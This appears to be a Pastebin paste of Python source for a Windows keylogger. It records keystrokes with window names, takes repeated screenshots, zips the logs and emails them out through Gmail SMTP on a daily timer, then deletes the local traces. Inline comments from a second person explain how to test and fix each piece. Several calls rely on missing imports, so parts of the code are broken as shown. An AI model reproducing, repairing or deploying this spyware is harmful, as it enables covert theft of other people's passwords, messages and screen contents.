Advertisement
Guest User

Untitled

a guest
Jun 26th, 2018
147
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.38 KB | None | 0 0
  1. # keylogger
  2. import pyHook, pythoncom
  3. # from datetime import datetime ------- COMMENTED THIS OUT
  4. import datetime # -------- THIS IS CLEANER
  5.  
  6. # screenshot
  7. from PIL import ImageGrab
  8. # from time import sleep ------- REDUNDANT ------- USAGE EX------- time.sleep(SECONDSHERE)
  9. from datetime import datetime # ------- REDUNDANT AS WELL. import datetime
  10. import time # --------- THIS WAS CAUSING THE TIME.TIME() ERROR
  11. counter =+ 0
  12.  
  13. # zip
  14. from zipfile import ZipFile
  15. import os
  16.  
  17. # email
  18. import smtplib
  19. from email.mime.text import MIMEText
  20. from email.mime.multipart import MIMEMultipart
  21. from email.mime.base import MIMEBase
  22. from email import encoders
  23.  
  24. # delete_extension
  25. import glob
  26.  
  27. # delete_zip
  28. # from zipfile import * -------- COMMENTED THIS OUT
  29. import zipfile
  30.  
  31. # threads
  32. import threading
  33.  
  34. ########KEYLOGGER#######
  35.  
  36. todays_date = datetime.now().strftime('%m-%d-%Y')
  37. local_time = datetime.now().strftime('%H:%M:%S')
  38. local_day = datetime.now().strftime('%A')
  39. file_name = 'D:\\Documents\\key\\' + todays_date + '.txt'
  40. # file_name = 'D:\\Documents\\key\\' + todays_date + '.txt'
  41.  
  42. line_buffer = "" #current typed line before return character
  43. window_name = "" #current window
  44.  
  45. def SaveLineToFile(line):
  46. todays_file = open(file_name, 'a') #open todays file (append mode)
  47. todays_file.write(line) #append line to file
  48. todays_file.close() #close todays file
  49.  
  50. def OnKeyboardEvent(event):
  51. global line_buffer
  52. global window_name
  53.  
  54. print("Ascii:', event.KeyID, chr(event.KeyID)") #pressed value
  55. """if typing in new window"""
  56. if (window_name != event.WindowName): #if typing in new window
  57. if (line_buffer != ""): #if line buffer is not empty
  58. line_buffer += '\n'
  59. SaveLineToFile(line_buffer) #print to file: any non printed characters from old window
  60.  
  61. line_buffer = "" #clear the line buffer
  62. SaveLineToFile('\n---WindowName: ' + event.WindowName + ' - ' + local_day + ' - ' + local_time + '\n') #print to file: the new window name
  63. window_name = event.WindowName #set the new window name
  64.  
  65. """if return or tab key pressed"""
  66. if (event.Ascii == 13 or event.Ascii == 9): #return key
  67. line_buffer += '\n'
  68. SaveLineToFile(line_buffer) #print to file: the line buffer
  69. line_buffer = "" #clear the line buffer
  70. return True #exit event
  71.  
  72. """if backspace key pressed"""
  73. if (event.Ascii == 8): #backspace key
  74. line_buffer = line_buffer[:-1] #remove last character
  75. return True #exit event
  76.  
  77. """if non-normal ascii character"""
  78. if (event.Ascii < 32 or event.Ascii > 126):
  79. if (event.Ascii == 0): #unknown character (eg arrow key, shift, ctrl, alt)
  80. pass #do nothing
  81. else:
  82. line_buffer = line_buffer + '\n' + str(event.Ascii) + '\n'
  83. else:
  84. line_buffer += chr(event.Ascii) #add pressed character to line buffer
  85. return True #pass event to other handlers
  86.  
  87.  
  88. # CREATED THIS FUNC FOR THREAD USAGE - PUMPMESSAGES IS THE CULPRIT
  89. def run_keylogger():
  90. print('running keylogger') # TOBEREMOVED
  91. hooks_manager = pyHook.HookManager() #create hook manager
  92. hooks_manager.KeyDown = OnKeyboardEvent #watch for key press
  93. hooks_manager.HookKeyboard() #set the hook
  94. pythoncom.PumpMessages() #wait for events
  95.  
  96.  
  97. ########KEYLOGGER#######
  98. #
  99. ##
  100. ###
  101. ####
  102. #####
  103. ######
  104. ######
  105. #####
  106. ####
  107. ###
  108. ##
  109. #
  110. #######SCREENSHOT#######
  111.  
  112. def screenshot():
  113. while True:
  114. local_time = datetime.now().strftime('%H-%M-%S')
  115. img = ImageGrab.grab()
  116. img.save(local_time + '.jpg'.format(counter))
  117. global count
  118. print('screenshot taken: '+local_time) # TOBEREMOVED
  119. sleep(10)
  120.  
  121. #######SCREENSHOT#######
  122. #
  123. ##
  124. ###
  125. ####
  126. #####
  127. ######
  128. ######
  129. #####
  130. ####
  131. ###
  132. ##
  133. #
  134. #######ZIP#######
  135.  
  136. def get_all_file_paths(directory):
  137. # initializing empty file paths list
  138. file_paths = []
  139.  
  140. # crawling through directory and subdirectories
  141. for root, directories, files in os.walk(directory):
  142. for filename in files:
  143. # join the two strings in order to form the full filepath.
  144. filepath = os.path.join(root, filename)
  145. file_paths.append(filepath)
  146.  
  147. # returning all file paths
  148. return file_paths
  149.  
  150.  
  151. def zip():
  152. directory = 'D:\\Documents\\key\\'
  153.  
  154. # calling function to get all file paths in the directory
  155. file_paths = get_all_file_paths(directory)
  156.  
  157. # printing the list of all files to be zipped
  158. print('Following files will be zipped:')
  159. for file_name in file_paths:
  160. print(file_name)
  161.  
  162. # writing files to a zipfile
  163. with ZipFile('pyDump', 'w') as zip:
  164. # writing each file one by one
  165. for file in file_paths:
  166. zip.write(file)
  167.  
  168. print('All files zipped successfully!') # LOOKS GOOD
  169.  
  170. #######ZIP#######
  171. #
  172. ##
  173. ###
  174. ####
  175. #####
  176. ######
  177. ######
  178. #####
  179. ####
  180. ###
  181. ##
  182. #
  183. #######EMAIL#######
  184.  
  185. def email():
  186. email_user = 'email' #
  187. email_password = 'password'
  188. email_send = 'email'
  189.  
  190. subject = 'Test Logging'
  191.  
  192. msg = MIMEMultipart()
  193. msg['From'] = email_user
  194. msg['To'] = email_send
  195. msg['Subject'] = subject
  196.  
  197. body = 'Hi there, sending this email from Python!'
  198. msg.attach(MIMEText(body,'plain'))
  199.  
  200. filename='filename'
  201. attachment =open(filename,'rb')
  202.  
  203. part = MIMEBase('application','octet-stream')
  204. part.set_payload((attachment).read())
  205. encoders.encode_base64(part)
  206. part.add_header('Content-Disposition',"attachment; filename= "+filename)
  207.  
  208. msg.attach(part)
  209. text = msg.as_string()
  210. server = smtplib.SMTP('smtp.gmail.com',587)
  211. server.starttls()
  212. server.login(email_user,email_password)
  213.  
  214. server.sendmail(email_user,email_send,text)
  215. server.quit()
  216.  
  217. # send email every 24 hours
  218. def send_email():
  219. nextDay = datetime.now() + timedelta(days=1) # TO MAKE IT AN EXACT TIME, CHANGE DATE TIME NOW TO AN EXACT TIME
  220. dateString = nextDay.strftime('%d-%m-%Y') + "01-00-00"
  221. newDate = nextDay.strptime(dateString,'%d-%m-%Y %H-%M-%S')
  222. delay = (newDate - datetime.now()).total_seconds()
  223. Timer(delay,email,()).start()
  224.  
  225. #######EMAIL#######
  226. #
  227. ##
  228. ###
  229. ####
  230. #####
  231. ######
  232. ######
  233. #####
  234. ####
  235. ###
  236. ##
  237. #
  238. #######DELETE_EXTENSION#######
  239.  
  240. def delete_extension(): # Now deletes .jpg extension files in directory listed
  241. directory='D:\\Documents\\ss\\'
  242. os.chdir(directory)
  243. files=glob.glob('*.jpg')
  244. for filename in files:
  245. os.unlink(filename)
  246. print('.jpg deleted') # TOBEREMOVED
  247.  
  248.  
  249. #######DELETE_EXTENSION#######
  250. #
  251. ##
  252. ###
  253. ####
  254. #####
  255. ######
  256. ######
  257. #####
  258. ####
  259. ###
  260. ##
  261. #
  262. #######DELETE_ZIP#######
  263.  
  264. def delete_zip():
  265. timestamp = int(time.time())
  266. unixTime = str(timestamp)
  267.  
  268. file_name = "a_" + unixtime + ".zip"
  269. zip_archive = ZipFile(file_name, "w", ZIP_DEFLATED)
  270.  
  271. for file in os.listdir('D:\\Documents\\key\\'):
  272. if file.endswith(".jpg"):
  273. zip_archive.write(file)
  274. os.remove(file)
  275.  
  276. zip_archive.close()
  277. print('.zip deleted') # TOBEREMOVED
  278.  
  279. #######DELETE_ZIP#######
  280. #
  281. ##
  282. ###
  283. ####
  284. #####
  285. ######
  286. ######
  287. #####
  288. ####
  289. ###
  290. ##
  291. #
  292. #######THREAD#######
  293.  
  294. def main():
  295. # create threads
  296. run_keylogger_thread = threading.Thread(target=run_keylogger)
  297. screenshot_thread = threading.Thread(target=screenshot)
  298. zip_thread = threading.Thread(target=zip)
  299. send_email_thread = threading.Thread(target=send_email)
  300. delete_extension_thread = threading.Thread(target=delete_extension)
  301. delete_zip_thread = threading.Thread(target=delete_zip)
  302.  
  303. # start threads - HERE I COMMENTED EACH ONE OUT SO YOU CAN TEST THEM INDIVIDUALLY
  304. # run_keylogger_thread.start()
  305. # screenshot_thread.start() # CHANGED SOME CODE
  306. # zip_thread.start()
  307. # send_email_thread.start()
  308. # delete_extension_thread.start()
  309. delete_zip_thread.start()
  310.  
  311. # comment each thread out to test functionality
  312. # 1. test keylogger by making sure that the file is actually created and has stuff appended to it. the code looks mostly fine so
  313. # eventually it will work. also id recommend adding everything to the c drive so you can reference it easily in the code. I made the changes above already
  314. # 2. screenshot will be an easy one to fix.just keep trying different things until one works. there are functions available online to make it easy
  315. # 3. zip is easy as well. I suspect that you have figured this one out alreadu
  316. # 4. send email. you confirmed this function to work
  317. # 5. delete extension - just finding the files
  318. # 6. delete zip thread - same as 5. could be eliminated for brevity
  319.  
  320. main()
  321.  
  322. #######THREAD#######
  323. #
  324. ##
  325. ###
  326. ####
  327. #####
  328. ######
  329. ######
  330. #####
  331. ####
  332. ###
  333. ##
  334. #
  335. #######INFO#######
  336.  
  337. '''
  338. Functions:
  339. run_keylogger
  340. screenshot
  341. zip
  342. send_email
  343. delete_extension
  344. delete_zip
  345.  
  346. '''
  347.  
  348. '''
  349. threading works by adding each function to a queue and starting them at your convenience.
  350. You can control the order of the initialization by arranging the order of the start methods.
  351. You can also pass arguments to functions like so: target=FUNCTION_NAME , args = (ARGS) -------> def FUNCTION_NAME(ARGS): print('hi')
  352. '''
  353.  
  354. ''' let me know if this works for you. I haven't tested it on my system'''
  355. #######INFO#######
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement